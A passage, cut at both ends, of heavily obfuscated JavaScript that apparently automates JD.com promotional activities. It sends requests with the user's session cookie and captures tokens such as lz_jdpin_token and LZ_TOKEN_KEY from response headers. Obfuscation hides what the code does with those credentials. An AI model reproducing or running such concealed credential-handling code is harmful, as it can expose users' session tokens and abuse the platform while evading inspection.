res[_0x1349('99')][_0x1349('9d')][_0x1349('9b')],_0x11f52a[_0x1349('270')]))$[_0x1349('9d')]=res[_0x1349('99')][_0x1349('9d')][_0x1349('9b')];if(_0x11f52a[_0x1349('271')](typeof res[_0x1349('99')][_0x1349('3e')],_0x11f52a[_0x1349('270')]))$[_0x1349('3e')]=res[_0x1349('99')][_0x1349('3e')];}else if(_0x11f52a[_0x1349('272')](typeof res,_0x11f52a[_0x1349('26d')])&&res[_0x1349('2e')]){if(_0x11f52a[_0x1349('26e')](_0x11f52a[_0x1349('273')],_0x11f52a[_0x1349('274')])){console[_0x1349('7')](_0x37fad4);}else{console[_0x1349('7')](_0x1349('26a')+(res[_0x1349('2e')]||''));}}else{if(_0x11f52a[_0x1349('26e')](_0x11f52a[_0x1349('275')],_0x11f52a[_0x1349('276')])){console[_0x1349('7')](_0x1349('17f')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x37fad4);}}}}catch(_0x3118bc){$[_0x1349('50')](_0x3118bc,_0x658a7b);}finally{_0x11f52a[_0x1349('277')](_0x431d36);}});});}function getUserInfo(){var _0x4a9798={'weoeZ':function(_0x49729e,_0x378668){return _0x49729e===_0x378668;},'mdifZ':_0x1349('c0'),'cYQTG':function(_0x313f16,_0x163b84){return _0x313f16==_0x163b84;},'WUBCm':_0x1349('c3'),'zulWS':function(_0x21fa07,_0x98cf57){return _0x21fa07==_0x98cf57;},'QttLl':_0x1349('c6'),'coUft':function(_0x47bded,_0x5682c0){return _0x47bded!=_0x5682c0;},'eEliR':function(_0x188686,_0x4403d7){return _0x188686!=_0x4403d7;},'ZUAYD':function(_0x1bf74c,_0x410612){return _0x1bf74c+_0x410612;},'kURrI':_0x1349('1c6'),'JfCvk':_0x1349('1c7'),'FFYFI':_0x1349('1c8'),'eSnTe':_0x1349('1c9'),'wZVbi':_0x1349('1ca'),'vTBHZ':function(_0x3c24e7,_0x619e3){return _0x3c24e7+_0x619e3;},'TAxIe':_0x1349('18'),'DDmVj':_0x1349('1b'),'xoYHW':_0x1349('278'),'XFJBZ':function(_0x199258,_0x501547){return _0x199258===_0x501547;},'QFHeP':_0x1349('279'),'RGazX':function(_0x28001c,_0xa208b2){return _0x28001c!==_0xa208b2;},'BoAsv':_0x1349('27a'),'qkSMQ':_0x1349('27b'),'EAAmQ':function(_0x5f39bc,_0x16c66b){return _0x5f39bc!=_0x16c66b;},'rZorf':_0x1349('53'),'KXuMB':_0x1349('59'),'Udguj':function(_0x284935,_0x21ca34){return _0x284935==_0x21ca34;},'TNFDM':_0x1349('27c'),'nHgIi':_0x1349('27d'),'XjLVu':_0x1349('27e'),'ndpsL':_0x1349('27f'),'welfI':_0x1349('280'),'quHUB':function(_0x3b8a6f){return _0x3b8a6f();},'RTsSu':_0x1349('14'),'voFau':_0x1349('281'),'ufERV':_0x1349('282'),'wYKDV':function(_0x44b353,_0x548968){return _0x44b353(_0x548968);},'kOwCP':function(_0x251db5,_0x507b70,_0x16d625){return _0x251db5(_0x507b70,_0x16d625);},'pbExm':_0x1349('283')};return new Promise(_0x4d0606=>{var _0x1d02fa={'PZjJr':function(_0x57715c,_0x6dc378){return _0x4a9798[_0x1349('284')](_0x57715c,_0x6dc378);},'rPgEz':_0x4a9798[_0x1349('285')],'asrBQ':function(_0xf125d4,_0x5173bc){return _0x4a9798[_0x1349('286')](_0xf125d4,_0x5173bc);},'jEZVZ':_0x4a9798[_0x1349('287')],'JZBiU':function(_0x1a384a,_0x54af2e){return _0x4a9798[_0x1349('288')](_0x1a384a,_0x54af2e);},'dDIct':_0x4a9798[_0x1349('289')],'iBgJf':function(_0x4e6321,_0x1600f0){return _0x4a9798[_0x1349('28a')](_0x4e6321,_0x1600f0);},'hkSUA':function(_0x5e7ce0,_0x49d7fe){return _0x4a9798[_0x1349('28b')](_0x5e7ce0,_0x49d7fe);},'ftKZA':function(_0x5ee397,_0x4ea4ad){return _0x4a9798[_0x1349('28c')](_0x5ee397,_0x4ea4ad);},'ZjbKA':_0x4a9798[_0x1349('28d')],'FFyDo':_0x4a9798[_0x1349('28e')],'fVmGA':_0x4a9798[_0x1349('28f')],'vhIfB':_0x4a9798[_0x1349('290')],'uecPR':_0x4a9798[_0x1349('291')],'NknpN':function(_0x775fec,_0x3ca30b){return _0x4a9798[_0x1349('292')](_0x775fec,_0x3ca30b);},'mxeJM':_0x4a9798[_0x1349('293')],'MDwwS':_0x4a9798[_0x1349('294')],'duLXL':function(_0x350640,_0x588c63){return _0x4a9798[_0x1349('284')](_0x350640,_0x588c63);},'HAXiV':_0x4a9798[_0x1349('295')],'zfXaJ':function(_0x4d5f40,_0x315512){return _0x4a9798[_0x1349('296')](_0x4d5f40,_0x315512);},'DSYkl':_0x4a9798[_0x1349('297')],'wYyZD':function(_0x11ecdc,_0x38b6ea){return _0x4a9798[_0x1349('298')](_0x11ecdc,_0x38b6ea);},'nOGTA':_0x4a9798[_0x1349('299')],'gfqbK':_0x4a9798[_0x1349('29a')],'kRBjQ':function(_0x120e5d,_0x270df4){return _0x4a9798[_0x1349('29b')](_0x120e5d,_0x270df4);},'weuof':_0x4a9798[_0x1349('29c')],'zLduc':_0x4a9798[_0x1349('29d')],'RqoZx':function(_0x2ef081,_0x4d3648){return _0x4a9798[_0x1349('29e')](_0x2ef081,_0x4d3648);},'tcRIj':function(_0x46dba6,_0x166d26){return _0x4a9798[_0x1349('296')](_0x46dba6,_0x166d26);},'arCoC':_0x4a9798[_0x1349('29f')],'cZvnQ':_0x4a9798[_0x1349('2a0')],'QMarq':_0x4a9798[_0x1349('2a1')],'bzRfX':_0x4a9798[_0x1349('2a2')],'Prevy':_0x4a9798[_0x1349('2a3')],'Zwfzk':function(_0x57cf5e){return _0x4a9798[_0x1349('2a4')](_0x57cf5e);},'juIaz':_0x4a9798[_0x1349('2a5')]};if(_0x4a9798[_0x1349('298')](_0x4a9798[_0x1349('2a6')],_0x4a9798[_0x1349('2a7')])){let _0x497b48=_0x1349('2a8')+_0x4a9798[_0x1349('2a9')](encodeURIComponent,$[_0x1349('6b')]);$[_0x1349('e9')](_0x4a9798[_0x1349('2aa')](taskPostUrl,_0x4a9798[_0x1349('2ab')],_0x497b48),async(_0x4a4f28,_0x256d0c,_0x1ecf37)=>{var _0x131ee1={'jYgbV':_0x1d02fa[_0x1349('2ac')],'HWjjp':_0x1d02fa[_0x1349('2ad')],'qehIr':_0x1d02fa[_0x1349('2ae')],'fLWvp':_0x1d02fa[_0x1349('2af')],'RTAZQ':_0x1d02fa[_0x1349('2b0')],'IGdmu':function(_0x367dde,_0x1e6555){return _0x1d02fa[_0x1349('2b1')](_0x367dde,_0x1e6555);},'eltLd':function(_0x1ee9ce,_0x26a4f6){return _0x1d02fa[_0x1349('2b2')](_0x1ee9ce,_0x26a4f6);},'IkEMJ':_0x1d02fa[_0x1349('2b3')],'telIR':_0x1d02fa[_0x1349('2b4')]};if(_0x1d02fa[_0x1349('2b5')](_0x1d02fa[_0x1349('2b6')],_0x1d02fa[_0x1349('2b6')])){try{if(_0x1d02fa[_0x1349('2b7')](_0x1d02fa[_0x1349('2b8')],_0x1d02fa[_0x1349('2b8')])){if(_0x4a4f28){console[_0x1349('7')](''+$[_0x1349('68')](_0x4a4f28));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('21a'));}else{if(_0x1d02fa[_0x1349('2b9')](_0x1d02fa[_0x1349('2ba')],_0x1d02fa[_0x1349('2bb')])){res=$[_0x1349('fb')](_0x1ecf37);if(_0x1d02fa[_0x1349('2bc')](typeof res,_0x1d02fa[_0x1349('2bd')])&&res[_0x1349('b1')]&&_0x1d02fa[_0x1349('2b7')](res[_0x1349('b1')],!![])){if(res[_0x1349('99')]&&_0x1d02fa[_0x1349('2be')](typeof res[_0x1349('99')][_0x1349('1ee')],_0x1d02fa[_0x1349('2bf')]))$[_0x1349('7d')]=res[_0x1349('99')][_0x1349('1ee')]||_0x1d02fa[_0x1349('2c0')];}else if(_0x1d02fa[_0x1349('2c1')](typeof res,_0x1d02fa[_0x1349('2bd')])&&res[_0x1349('2e')]){if(_0x1d02fa[_0x1349('2c2')](_0x1d02fa[_0x1349('2c3')],_0x1d02fa[_0x1349('2c3')])){console[_0x1349('7')](_0x1349('2d')+(res[_0x1349('2e')]||''));}else{$[_0x1349('7')](_0x1349('132')+res[_0x1349('99')][_0x1349('3b')]+'个');}}else{if(_0x1d02fa[_0x1349('2c2')](_0x1d02fa[_0x1349('2c4')],_0x1d02fa[_0x1349('2c5')])){let _0x53eef9='';if($[_0x1349('1b9')])_0x53eef9=_0x1349('1f2')+$[_0x1349('1b9')];return{'url':_0x1349('1f3')+functionId+_0x1349('1f4')+functionId+_0x1349('1f5')+_0x53eef9+_0x1349('1f6'),'headers':{'Content-Type':_0x131ee1[_0x1349('2c6')],'Origin':_0x131ee1[_0x1349('2c7')],'Host':_0x131ee1[_0x1349('2c8')],'accept':_0x131ee1[_0x1349('2c9')],'User-Agent':$['UA'],'content-type':_0x131ee1[_0x1349('2ca')],'Referer':_0x1349('1d2')+functionId+_0x1349('1d3')+functionId+_0x1349('1d4')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'Cookie':cookie}};}else{console[_0x1349('7')](_0x1ecf37);}}}else{if(_0x1d02fa[_0x1349('2cb')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){console[_0x1349('7')](_0x1349('215')+(res[_0x1349('99')][_0x1349('216')]&&res[_0x1349('99')][_0x1349('25')]||_0x1d02fa[_0x1349('2cc')]));}else if(_0x1d02fa[_0x1349('2cd')](typeof res,_0x1d02fa[_0x1349('2bd')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('4e')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x1ecf37);}}}}else{console[_0x1349('7')](_0x1ecf37);}}catch(_0x121802){if(_0x1d02fa[_0x1349('2b9')](_0x1d02fa[_0x1349('2ce')],_0x1d02fa[_0x1349('2cf')])){$[_0x1349('50')](_0x121802,_0x256d0c);}else{if(_0x131ee1[_0x1349('2d0')](_0x131ee1[_0x1349('2d1')](guaopencard,''),_0x131ee1[_0x1349('2d2')])){console[_0x1349('7')](_0x131ee1[_0x1349('2d3')]);}if(_0x131ee1[_0x1349('2d0')](_0x131ee1[_0x1349('2d1')](guaopencard,''),_0x131ee1[_0x1349('2d2')])){return;}}}finally{_0x1d02fa[_0x1349('2d4')](_0x4d0606);}}else{let _0xe027ab=res[_0x1349('99')][i];if(_0x1d02fa[_0x1349('2bc')](_0xe027ab[_0x1349('8d')],_0x1d02fa[_0x1349('2d5')]))num++;if(_0x1d02fa[_0x1349('2bc')](_0xe027ab[_0x1349('8d')],_0x1d02fa[_0x1349('2d5')]))value=_0xe027ab[_0x1349('105')][_0x1349('4d')]('京豆','');if(_0x1d02fa[_0x1349('2d6')](_0xe027ab[_0x1349('8d')],_0x1d02fa[_0x1349('2d5')]))console[_0x1349('7')](''+(_0x1d02fa[_0x1349('2b1')](_0xe027ab[_0x1349('107')],0xa)&&_0x1d02fa[_0x1349('2d7')](_0xe027ab[_0x1349('8d')],':')||'')+_0xe027ab[_0x1349('105')]);}});}else{console[_0x1349('7')](_0x1d02fa[_0x1349('2d8')]);return;}});}function accessLogWithAD(){var _0x42af27={'qHFJJ':function(_0x20b025,_0x270864){return _0x20b025!=_0x270864;},'AbFaU':_0x1349('c3'),'WjRiU':function(_0x54c956,_0x4f4bb2){return _0x54c956>_0x4f4bb2;},'PeEFE':_0x1349('13c'),'tQgCf':function(_0x27fb4b,_0xebc4ad){return _0x27fb4b+_0xebc4ad;},'gcmWn':_0x1349('13d'),'GwjnN':function(_0x207115,_0x3eb39d){return _0x207115+_0x3eb39d;},'LLecT':function(_0x29497e){return _0x29497e();},'ZDyZT':function(_0x12e1a5,_0x35e4dc){return _0x12e1a5==_0x35e4dc;},'opkrs':_0x1349('54'),'sMDzz':_0x1349('56'),'TEoEJ':_0x1349('1ae'),'WVjyx':function(_0x1ccf6d,_0x37985b){return _0x1ccf6d===_0x37985b;},'yTFOH':_0x1349('2d9'),'jQMNV':_0x1349('2da'),'DsPKP':_0x1349('2db'),'EPAqG':_0x1349('2dc'),'wulOx':_0x1349('2dd'),'ntVxj':function(_0x1e78fc,_0x309e6a){return _0x1e78fc!==_0x309e6a;},'NlGWq':_0x1349('2de'),'wWgDA':_0x1349('2df'),'TVnZD':_0x1349('2e0'),'bYTPb':function(_0x430b51,_0x44d1a1){return _0x430b51!==_0x44d1a1;},'dLlev':_0x1349('2e1'),'pjxfA':_0x1349('2e2'),'TjlHe':function(_0x25c691,_0x595658){return _0x25c691+_0x595658;},'oranR':function(_0x11c507,_0x2efd24){return _0x11c507&&_0x2efd24;},'tMWkP':_0x1349('2e3'),'lHeUE':_0x1349('2e4'),'bSanE':function(_0x916321,_0x396875){return _0x916321(_0x396875);},'LMcot':function(_0x33c0dc,_0xcccb37,_0x432ed1){return _0x33c0dc(_0xcccb37,_0x432ed1);},'PwhbJ':_0x1349('2e5')};return new Promise(_0x1ce047=>{var _0x27670f={'dopLr':function(_0x139a1d,_0x50d96c){return _0x42af27[_0x1349('2e6')](_0x139a1d,_0x50d96c);},'vGVwL':_0x42af27[_0x1349('2e7')],'iIfYc':function(_0x2acc30,_0x4f6f2c){return _0x42af27[_0x1349('2e8')](_0x2acc30,_0x4f6f2c);},'orksa':_0x42af27[_0x1349('2e9')],'flduD':function(_0x120c26,_0x206e4d){return _0x42af27[_0x1349('2ea')](_0x120c26,_0x206e4d);},'sOoQB':_0x42af27[_0x1349('2eb')],'ULdNc':function(_0x25a561,_0x13c92f){return _0x42af27[_0x1349('2ec')](_0x25a561,_0x13c92f);},'rLJrR':function(_0x271dad){return _0x42af27[_0x1349('2ed')](_0x271dad);},'VLYvq':function(_0x261d59,_0x35c36e){return _0x42af27[_0x1349('2ee')](_0x261d59,_0x35c36e);},'raobV':_0x42af27[_0x1349('2ef')],'CLkIO':_0x42af27[_0x1349('2f0')],'cBHCD':function(_0x41fc00,_0x221bc9){return _0x42af27[_0x1349('2e8')](_0x41fc00,_0x221bc9);},'geJmO':_0x42af27[_0x1349('2f1')],'ggidk':function(_0x103b2b,_0x512a1c){return _0x42af27[_0x1349('2e8')](_0x103b2b,_0x512a1c);},'aosOn':function(_0x462b94,_0x3fa20d){return _0x42af27[_0x1349('2ec')](_0x462b94,_0x3fa20d);},'GtNbn':function(_0x3f81ed,_0x141f2e){return _0x42af27[_0x1349('2f2')](_0x3f81ed,_0x141f2e);},'UXpgq':_0x42af27[_0x1349('2f3')],'ppQSR':_0x42af27[_0x1349('2f4')],'RecvT':_0x42af27[_0x1349('2f5')],'pjuTk':_0x42af27[_0x1349('2f6')],'fUlzw':_0x42af27[_0x1349('2f7')],'coNsr':function(_0x34fe45,_0x2df0f0){return _0x42af27[_0x1349('2f8')](_0x34fe45,_0x2df0f0);},'LjvEc':_0x42af27[_0x1349('2f9')],'yIRyI':_0x42af27[_0x1349('2fa')],'dnElE':_0x42af27[_0x1349('2fb')],'eggIG':function(_0x4d5ecb,_0x2d97d0){return _0x42af27[_0x1349('2fc')](_0x4d5ecb,_0x2d97d0);},'ajMgw':_0x42af27[_0x1349('2fd')],'aypoF':_0x42af27[_0x1349('2fe')],'RTxFY':function(_0x58e35d,_0xcd0484){return _0x42af27[_0x1349('2e8')](_0x58e35d,_0xcd0484);},'szYpJ':function(_0x2dd254,_0x9c2c06){return _0x42af27[_0x1349('2ff')](_0x2dd254,_0x9c2c06);},'HZeFW':function(_0x3e2fef,_0x4a26a5){return _0x42af27[_0x1349('300')](_0x3e2fef,_0x4a26a5);},'emMPM':function(_0x1aba60,_0x2545a7){return _0x42af27[_0x1349('2f2')](_0x1aba60,_0x2545a7);},'MLNSy':_0x42af27[_0x1349('301')],'Lhdhl':_0x42af27[_0x1349('302')]};let _0x4af1a0=_0x1349('303')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')];let _0x566a59=_0x1349('304')+($[_0x1349('75')]||$[_0x1349('78')])+_0x1349('305')+_0x42af27[_0x1349('306')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('307')+$[_0x1349('36')]+_0x1349('308')+_0x42af27[_0x1349('306')](encodeURIComponent,_0x4af1a0)+_0x1349('309');$[_0x1349('e9')](_0x42af27[_0x1349('30a')](taskPostUrl,_0x42af27[_0x1349('30b')],_0x566a59),async(_0x33c3f2,_0x46d09f,_0x29ff75)=>{var _0x7942da={'HiRlp':_0x27670f[_0x1349('30c')],'ouGXM':function(_0x2fb6e3,_0x33f571){return _0x27670f[_0x1349('30d')](_0x2fb6e3,_0x33f571);},'ALRVF':_0x27670f[_0x1349('30e')],'ClcXu':function(_0x385946,_0x48ff0c){return _0x27670f[_0x1349('30f')](_0x385946,_0x48ff0c);},'KWRpT':_0x27670f[_0x1349('310')],'sNGdS':function(_0xe65ce1,_0x4c1635){return _0x27670f[_0x1349('311')](_0xe65ce1,_0x4c1635);},'yorsF':_0x27670f[_0x1349('312')],'YBjoe':function(_0x54c71f,_0x526730){return _0x27670f[_0x1349('313')](_0x54c71f,_0x526730);}};try{if(_0x27670f[_0x1349('314')](_0x27670f[_0x1349('315')],_0x27670f[_0x1349('315')])){if(_0x33c3f2){if(_0x27670f[_0x1349('314')](_0x27670f[_0x1349('316')],_0x27670f[_0x1349('316')])){console[_0x1349('7')](''+$[_0x1349('68')](_0x33c3f2));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{$[_0x1349('50')](e,_0x46d09f);}}else{let _0x2d049e='';let _0x12be80='';let _0x1dadf5=_0x46d09f[_0x27670f[_0x1349('317')]][_0x27670f[_0x1349('318')]]||_0x46d09f[_0x27670f[_0x1349('317')]][_0x27670f[_0x1349('319')]]||'';let _0x4ee3c1='';if(_0x1dadf5){if(_0x27670f[_0x1349('31a')](_0x27670f[_0x1349('31b')],_0x27670f[_0x1349('31c')])){if(_0x27670f[_0x1349('31d')](typeof _0x1dadf5,_0x27670f[_0x1349('31e')])){if(_0x27670f[_0x1349('314')](_0x27670f[_0x1349('31f')],_0x27670f[_0x1349('31f')])){_0x4ee3c1=_0x1dadf5[_0x1349('8b')](',');}else{if(_0x27670f[_0x1349('31d')](typeof _0x1dadf5,_0x27670f[_0x1349('31e')])){_0x4ee3c1=_0x1dadf5[_0x1349('8b')](',');}else _0x4ee3c1=_0x1dadf5;for(let _0x58effd of _0x4ee3c1){let _0x4ab8ee=_0x58effd[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x4ab8ee[_0x1349('8b')]('=')[0x1]){if(_0x27670f[_0x1349('320')](_0x4ab8ee[_0x1349('165')](_0x27670f[_0x1349('310')]),-0x1))_0x2d049e=_0x27670f[_0x1349('321')](_0x4ab8ee[_0x1349('4d')](/ /g,''),';');if(_0x27670f[_0x1349('320')](_0x4ab8ee[_0x1349('165')](_0x27670f[_0x1349('312')]),-0x1))_0x12be80=_0x27670f[_0x1349('30f')](_0x4ab8ee[_0x1349('4d')](/ /g,''),';');}}}}else _0x4ee3c1=_0x1dadf5;for(let _0xbc7732 of _0x4ee3c1){let _0x28de90=_0xbc7732[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x28de90[_0x1349('8b')]('=')[0x1]){if(_0x27670f[_0x1349('322')](_0x27670f[_0x1349('323')],_0x27670f[_0x1349('324')])){if(_0x27670f[_0x1349('311')](_0x28de90[_0x1349('165')](_0x27670f[_0x1349('310')]),-0x1))_0x2d049e=_0x27670f[_0x1349('313')](_0x28de90[_0x1349('4d')](/ /g,''),';');if(_0x27670f[_0x1349('325')](_0x28de90[_0x1349('165')](_0x27670f[_0x1349('312')]),-0x1))_0x12be80=_0x27670f[_0x1349('326')](_0x28de90[_0x1349('4d')](/ /g,''),';');}else{_0x27670f[_0x1349('327')](_0x1ce047);}}}}else{if(_0x46d09f[_0x1349('be')]&&_0x27670f[_0x1349('328')](_0x46d09f[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x27670f[_0x1349('329')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](_0x33c3f2));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('32a'));}}if(_0x27670f[_0x1349('32b')](_0x2d049e,_0x12be80))activityCookie=_0x2d049e+'\x20'+_0x12be80;}}else{console[_0x1349('7')](_0x7942da[_0x1349('32c')]);return;}}catch(_0x56f345){if(_0x27670f[_0x1349('32d')](_0x27670f[_0x1349('32e')],_0x27670f[_0x1349('32f')])){let _0x1158d9=ck[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x1158d9[_0x1349('8b')]('=')[0x1]){if(_0x7942da[_0x1349('330')](_0x1158d9[_0x1349('165')](_0x7942da[_0x1349('331')]),-0x1))lz_jdpin_token=_0x7942da[_0x1349('332')](_0x1158d9[_0x1349('4d')](/ /g,''),';');if(_0x7942da[_0x1349('330')](_0x1158d9[_0x1349('165')](_0x7942da[_0x1349('333')]),-0x1))LZ_TOKEN_KEY=_0x7942da[_0x1349('332')](_0x1158d9[_0x1349('4d')](/ /g,''),';');if(_0x7942da[_0x1349('334')](_0x1158d9[_0x1349('165')](_0x7942da[_0x1349('335')]),-0x1))LZ_TOKEN_VALUE=_0x7942da[_0x1349('336')](_0x1158d9[_0x1349('4d')](/ /g,''),';');}}else{$[_0x1349('50')](_0x56f345,_0x46d09f);}}finally{_0x27670f[_0x1349('327')](_0x1ce047);}});});}function getMyPing(){var _0x7345e4={'DQScI':function(_0x2e87a1,_0x5d9919){return _0x2e87a1==_0x5d9919;},'BuKnA':_0x1349('54'),'YOkPa':function(_0x3f460b,_0x4a7dde){return _0x3f460b==_0x4a7dde;},'RkHTd':function(_0x418cca,_0x1d48e4){return _0x418cca===_0x1d48e4;},'xrwud':_0x1349('337'),'iZOex':_0x1349('2db'),'QFHia':_0x1349('2dc'),'ByBxh':_0x1349('2dd'),'nVeoN':_0x1349('338'),'PGXbh':function(_0x3119ba,_0x331b55){return _0x3119ba!=_0x331b55;},'LEwnm':_0x1349('c3'),'KViGu':function(_0x4bfe97,_0x1479af){return _0x4bfe97!==_0x1479af;},'zzIgF':_0x1349('339'),'UVyXh':function(_0x5348d6,_0x5a284b){return _0x5348d6>_0x5a284b;},'xKueB':_0x1349('1ae'),'ECiwZ':function(_0xe2dbd4,_0x1746b2){return _0xe2dbd4+_0x1746b2;},'TEBPr':_0x1349('13c'),'nIZkd':function(_0x104d48,_0x7340d){return _0x104d48+_0x7340d;},'izIJT':_0x1349('13d'),'KBRab':function(_0x577e60,_0x52fe4){return _0x577e60&&_0x52fe4;},'XcwCf':_0x1349('53'),'eMBom':function(_0x1ae5a8,_0x3b8e05){return _0x1ae5a8===_0x3b8e05;},'TmOtT':_0x1349('33a'),'BtGJJ':_0x1349('33b'),'tRdUc':_0x1349('33c'),'AxwRd':function(_0x40b0e1){return _0x40b0e1();},'zoiyb':function(_0x55d901,_0x1212db,_0x41d42b){return _0x55d901(_0x1212db,_0x41d42b);},'lauum':_0x1349('33d')};return new Promise(_0x463583=>{var _0x27d41f={'iYQOt':function(_0x3b2330,_0x25666a){return _0x7345e4[_0x1349('33e')](_0x3b2330,_0x25666a);},'CkoAO':_0x7345e4[_0x1349('33f')],'ggnPd':function(_0x4e2d8a,_0x2a40a2){return _0x7345e4[_0x1349('340')](_0x4e2d8a,_0x2a40a2);},'GktzX':function(_0x40cb85,_0x47d355){return _0x7345e4[_0x1349('341')](_0x40cb85,_0x47d355);},'tQZlM':_0x7345e4[_0x1349('342')],'WaaKY':_0x7345e4[_0x1349('343')],'Ilqub':_0x7345e4[_0x1349('344')],'ehHam':_0x7345e4[_0x1349('345')],'uTaXV':function(_0x5d0d2a,_0x2606b3){return _0x7345e4[_0x1349('341')](_0x5d0d2a,_0x2606b3);},'kczRD':_0x7345e4[_0x1349('346')],'rvNZm':function(_0x40997e,_0x523b01){return _0x7345e4[_0x1349('347')](_0x40997e,_0x523b01);},'XxHJX':_0x7345e4[_0x1349('348')],'DQlfT':function(_0x4166eb,_0x24011b){return _0x7345e4[_0x1349('349')](_0x4166eb,_0x24011b);},'cPOlU':_0x7345e4[_0x1349('34a')],'ROHcL':function(_0x4c1682,_0x52ad3d){return _0x7345e4[_0x1349('34b')](_0x4c1682,_0x52ad3d);},'AcbAk':_0x7345e4[_0x1349('34c')],'IFzTT':function(_0x32791d,_0x417570){return _0x7345e4[_0x1349('34d')](_0x32791d,_0x417570);},'SjsPp':_0x7345e4[_0x1349('34e')],'BOqmH':function(_0x9803df,_0x202ec7){return _0x7345e4[_0x1349('34f')](_0x9803df,_0x202ec7);},'RYmYg':_0x7345e4[_0x1349('350')],'yLygB':function(_0x435874,_0x90672a){return _0x7345e4[_0x1349('34f')](_0x435874,_0x90672a);},'IQUXP':function(_0x3d768e,_0x4ca7bd){return _0x7345e4[_0x1349('351')](_0x3d768e,_0x4ca7bd);},'FnjtH':function(_0x173876,_0x3d51cb){return _0x7345e4[_0x1349('340')](_0x173876,_0x3d51cb);},'gHmcv':function(_0x4ec9b8,_0x2744c4){return _0x7345e4[_0x1349('347')](_0x4ec9b8,_0x2744c4);},'idzxg':_0x7345e4[_0x1349('352')],'fwRkb':function(_0x5b312d,_0x3a0d1d){return _0x7345e4[_0x1349('347')](_0x5b312d,_0x3a0d1d);},'awqcN':function(_0x74c82c,_0x4d48c0){return _0x7345e4[_0x1349('340')](_0x74c82c,_0x4d48c0);},'vNXCD':function(_0x55f6b6,_0x47ccaf){return _0x7345e4[_0x1349('353')](_0x55f6b6,_0x47ccaf);},'BFgpa':_0x7345e4[_0x1349('354')],'aiuPX':_0x7345e4[_0x1349('355')],'ibSJK':function(_0x3e8981,_0x2e28f1){return _0x7345e4[_0x1349('349')](_0x3e8981,_0x2e28f1);},'GrzFy':_0x7345e4[_0x1349('356')],'WnKAz':function(_0x10d725){return _0x7345e4[_0x1349('357')](_0x10d725);}};let _0x1df4f7=_0x1349('358')+($[_0x1349('75')]||$[_0x1349('78')])+_0x1349('359')+$[_0x1349('6a')]+_0x1349('35a');$[_0x1349('e9')](_0x7345e4[_0x1349('35b')](taskPostUrl,_0x7345e4[_0x1349('35c')],_0x1df4f7),async(_0x1cffcf,_0x14acad,_0x2a5542)=>{try{if(_0x1cffcf){if(_0x14acad[_0x1349('be')]&&_0x27d41f[_0x1349('35d')](_0x14acad[_0x1349('be')],0x1ed)){if(_0x27d41f[_0x1349('35e')](_0x27d41f[_0x1349('35f')],_0x27d41f[_0x1349('35f')])){console[_0x1349('7')](_0x27d41f[_0x1349('360')]);$[_0x1349('13')]=!![];}else{if(_0x14acad[_0x1349('be')]&&_0x27d41f[_0x1349('361')](_0x14acad[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x27d41f[_0x1349('360')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](_0x1cffcf));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}}console[_0x1349('7')](''+$[_0x1349('68')](_0x1cffcf));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('bf'));}else{let _0x2c32b5='';let _0x48fca1='';let _0x240ef2=_0x14acad[_0x27d41f[_0x1349('362')]][_0x27d41f[_0x1349('363')]]||_0x14acad[_0x27d41f[_0x1349('362')]][_0x27d41f[_0x1349('364')]]||'';let _0x35b9db='';if(_0x240ef2){if(_0x27d41f[_0x1349('365')](_0x27d41f[_0x1349('366')],_0x27d41f[_0x1349('366')])){if(_0x27d41f[_0x1349('367')](typeof _0x240ef2,_0x27d41f[_0x1349('368')])){_0x35b9db=_0x240ef2[_0x1349('8b')](',');}else _0x35b9db=_0x240ef2;for(let _0xa98686 of _0x35b9db){let _0x1d2117=_0xa98686[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x1d2117[_0x1349('8b')]('=')[0x1]){if(_0x27d41f[_0x1349('369')](_0x27d41f[_0x1349('36a')],_0x27d41f[_0x1349('36a')])){$[_0x1349('50')](e,_0x14acad);}else{if(_0x27d41f[_0x1349('36b')](_0x1d2117[_0x1349('165')](_0x27d41f[_0x1349('36c')]),-0x1))lz_jdpin_token=_0x27d41f[_0x1349('36d')](_0x1d2117[_0x1349('4d')](/ /g,''),';');if(_0x27d41f[_0x1349('36b')](_0x1d2117[_0x1349('165')](_0x27d41f[_0x1349('36e')]),-0x1))_0x2c32b5=_0x27d41f[_0x1349('36f')](_0x1d2117[_0x1349('4d')](/ /g,''),';');if(_0x27d41f[_0x1349('36b')](_0x1d2117[_0x1349('165')](_0x27d41f[_0x1349('370')]),-0x1))_0x48fca1=_0x27d41f[_0x1349('371')](_0x1d2117[_0x1349('4d')](/ /g,''),';');}}}}else{console[_0x1349('7')](''+(_0x23539d[_0x1349('1e3')]||''));}}if(_0x27d41f[_0x1349('372')](_0x2c32b5,_0x48fca1))activityCookie=_0x2c32b5+'\x20'+_0x48fca1;let _0x23539d=$[_0x1349('fb')](_0x2a5542);if(_0x27d41f[_0x1349('373')](typeof _0x23539d,_0x27d41f[_0x1349('368')])&&_0x23539d[_0x1349('b1')]&&_0x27d41f[_0x1349('365')](_0x23539d[_0x1349('b1')],!![])){if(_0x23539d[_0x1349('99')]&&_0x27d41f[_0x1349('374')](typeof _0x23539d[_0x1349('99')][_0x1349('375')],_0x27d41f[_0x1349('376')]))$[_0x1349('6b')]=_0x23539d[_0x1349('99')][_0x1349('375')];if(_0x23539d[_0x1349('99')]&&_0x27d41f[_0x1349('377')](typeof _0x23539d[_0x1349('99')][_0x1349('73')],_0x27d41f[_0x1349('376')]))$[_0x1349('73')]=_0x23539d[_0x1349('99')][_0x1349('73')];}else if(_0x27d41f[_0x1349('378')](typeof 